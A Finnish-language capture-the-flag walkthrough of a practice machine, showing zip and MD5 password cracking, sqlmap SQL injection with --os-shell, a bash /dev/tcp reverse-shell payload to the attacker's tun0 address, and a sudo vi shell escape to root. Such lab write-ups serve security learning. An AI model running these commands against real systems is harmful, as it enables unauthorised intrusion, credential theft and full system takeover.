Huom. kohteen ja oma tun0 IP-osoitteet vaihtuvat tehtävässä, koska harjoitusta tehty eri kerroilla
User flag
Kohteen Nmap-skannauksesta huomataan, että kohteessa on portit 21 (FTP), 22 (SSH) ja 80 (HTTP) avoinna. Kohteen FTP-palvelu mahdollistaa Anonymous-kirjautumisen: “Anonymous FTP login allowed”.
Yhdistetty FTP:llä kohteeseen käyttäen Anonymous käyttäjätunnusta. Huomataan, että kohteessa on backup.zip-tiedosto. Ladattu kohteesta backup.zip-tiedosto.
Kokeiltu purkaa tiedosto backup.zip komennolla unzip. Tiedosto on salasanasuojattu. Kokeiltu muutamia yleisiä salasanoja kuten password, abc123, secret ja qwerty, syötetyt salasanat olivat vääriä.
Murrettu backup.zip-tiedoston salasana käyttäen fcrackzip-työkalua ja rockyou.txt salasanalistaa. Komennon syöte tallennettu backup_password.txt-tiedostoon. Komento: fcrackzip -u -D -p rockyou.txt backup.zip >> backup_password.txt
Löydetty tiedoston salasana: 741852963
Fcrackzip komennon lisäoptiot:
-u: käyttää unzippausta jättääkseen huomioimatta väärät salasanat.
-D: käyttää sanakirjaa.
-p: käyttää merkkijonoa ensisijaisena salasanana/tiedostona.
Backup.zip-tiedostosta purettu tiedostot index.php ja style.css murretun salasanan avulla.
Luettu tiedoston index.php sisältö. Tiedostosta löydetty käyttäjän admin salasanatiiviste: 2cb42f8734ea607eefed3b70af13bbd3.
Hashid löysi tiivisteestä paljon mahdollisia salasanatiivistetyyppejä.
Luotu index_hasht.txt tiedosto, johon kopioiutu salasanatiiviste, sekä tyhjä tekstitiedosto cracked.txt. Salasana murrettu Hashcatin avulla käyttäen komentoa: sudo hashcat -m 0 -a 0 -o cracked.txt index_hash.txt rockyou.txt*
Komennossa:
-m 0: tiiviste jota murretaan (MD5).
-a 0: sanakirjahyökkäys (käytetty sanalista: rockyou.txt).
-o cracked.txt tyhjä kohdetiedosto murretuille salasanoille.
Hashcat mursi salasasan, ja cracked.txt tiedostosta löytyi tiivistettä vastaava salasana: qwerty789.
Selaimella aukaistu kohteen IP-osoite portissa 80, ja syötetty käyttäjätunnus admin ja murrettu salasana qwerty789.
Aukesi sivu, jossa autokatalogi.
Kirjoitettu sivun hakukenttään: “any query”, ja huomataan, että osoiterivillä on $search muuttuja. Seuraavaksi kokeillaan sqlmapin avulla onko muuttuja altis SQL injektiolle.
Burb Suiten avulla haettu istunnon eväste: PHPSESSID=ibnm0guvi12qja43te30bqbkat
Sqlmap suoritettu komennolla: sqlmap -u “http://{target_IP}/dashboard.php?search=any+query” –cookie=”PHPSESSID=ibnm0guvi12qja43te30bqbkat”
Sqlmapin syötteessä lukee: “GET parameter ‘search’ is vulnerable”. Eli saatiin vahvistus, että kohde on altis SQL-injektiolle.
Suoritettu sqlmap:ssa sama komento, mutta lisätty perään: –os-shell. Saatiin onnistuneesti shell.
Käynnistetty ensin Netcat-kuuntelija porttiin 443 komennolla: sudo nc -lvnp 443. Sen jälkeen syötetty payload os-shelliin: bash -c “bash -i >& /dev/tcp/{your_tun0_ip}/443 0>&1”. Onnistuneesti saatiin yhteys kohteeseen.
User flag löytyi /var/lib/postgresql/ hakemistosta.
Root flag
Etsitään käyttäjän postgres salasana hakemistosta /var/www/html, jotta voidaan suorittaa komentoja sudo-oikeuksin.
Tiedostosta dashboard.php löytyi salasana: P@s5w0rd!
Koska kohteessa on portti 22 auki, otetaan SSH-yhteys kohteeseen (edellisessä shellissä oli aikakatkaisu) käyttäjänä postgres ja löydetyllä salasanalla P@s5w0rd!
Käyttäjällä postgres ei ole mahdollisuutta vaihtaa root-käyttäjäksi. Oikeudet kuitenkin löytyy suorittaa komento: sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Suoritettu komento: sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Aukesi vi editori.
Painettu näppäimistöstä “:” näppäintä, jotta voidaan suorittaa komentoja. Suoritettu komennot: :set shell=/bin/sh ja :shell
Komentojen suorittamisen jälkeen aukesi uusi shell root-käyttäjänä. Root flag löytyi hakemistosta /root.